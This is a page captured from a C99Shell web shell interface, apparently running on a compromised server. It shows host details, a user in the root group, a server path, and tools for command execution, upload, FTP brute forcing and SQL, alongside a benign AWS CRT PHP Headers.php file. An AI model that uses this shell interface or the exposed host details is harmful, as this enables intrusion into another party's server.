!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/aws/aws-crt-php/src/AWS/CRT/HTTP/   drwxr-xr-x
Free 28.67 GB of 117.98 GB (24.3%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Headers.php (1.2 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
 * SPDX-License-Identifier: Apache-2.0.
 */
namespace AWS\CRT\HTTP;

use 
AWS\CRT\Internal\Encoding;

final class 
Headers {
    private 
$headers;

    public function 
__construct($headers = []) {
        
$this->headers $headers;
    }

    public static function 
marshall($headers) {
        
$buf "";
        foreach (
$headers->headers as $header => $value) {
            
$buf .= Encoding::encodeString($header);
            
$buf .= Encoding::encodeString($value);
        }
        return 
$buf;
    }

    public static function 
unmarshall($buf) {
        
$strings Encoding::readStrings($buf);
        
$headers = [];
        for (
$idx 0$idx count($strings);) {
            
$headers[$strings[$idx++]] = $strings[$idx++];
        }
        return new 
Headers($headers);
    }

    public function 
count() {
        return 
count($this->headers);
    }

    public function 
get($header) {
        return isset(
$this->headers[$header]) ? $this->headers[$header] : null;
    }

    public function 
set($header$value) {
        
$this->headers[$header] = $value;
    }

    public function 
toArray() {
        return 
$this->headers;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0052 ]--